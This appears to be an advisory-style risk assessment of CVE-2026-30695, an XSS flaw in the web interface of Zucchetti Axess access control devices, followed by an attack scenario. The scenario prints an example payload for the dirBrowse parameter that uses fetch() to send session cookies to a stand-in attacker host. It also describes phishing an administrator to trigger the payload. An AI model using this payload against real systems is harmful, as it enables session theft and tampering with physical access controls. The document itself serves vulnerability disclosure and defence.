N A CVE-2026-30695

Assessment of real-world risk is constrained by the absence of CVSS score, CVSS vector, EPSS probability data, and explicit KEV (Known Exploited Vulnerabilities) status. However, several factors indicate elevated practical risk: (1) the vulnerability affects network-accessible web interfaces on physical access control devices, which are typically high-value targets; (2) a public proof-of-concept exists on GitHub, lowering the barrier to exploitation; (3) XSS in admin interfaces can lead to account compromise and unauthorized access policy changes; (4) the affected products span multiple Zucchetti Axess device lines, suggesting wide deployment. Conversely, exploitation likely requires the attacker to deliver a malicious link to an authenticated administrator, suggesting medium attack complexity and requiring prior knowledge of the target system. Without CVSS severity data, this appears to be a high-impact but moderately complex vulnerability with real-world exploitation potential evidenced by the public POC.

An attacker identifies a Zucchetti Axess device deployed at a target facility and crafts a malicious URL containing XSS payload in the dirBrowse parameter (e.g., /file_manager.cgi?dirBrowse=<script>fetch('http://attacker.com/steal?cookies='+document.cookie)</script>). The attacker sends this link to a facility administrator via spear-phishing email, claiming it references a file on the access control system. When the administrator clicks the link while authenticated to the web interface, the JavaScript executes in their browser session, allowing the attacker to steal session cookies, modify access policies, create backdoor administrator accounts, or extract credential information from the device configuration. The public GitHub POC lowers the technical barrier for less sophisticated attackers to execute this attack.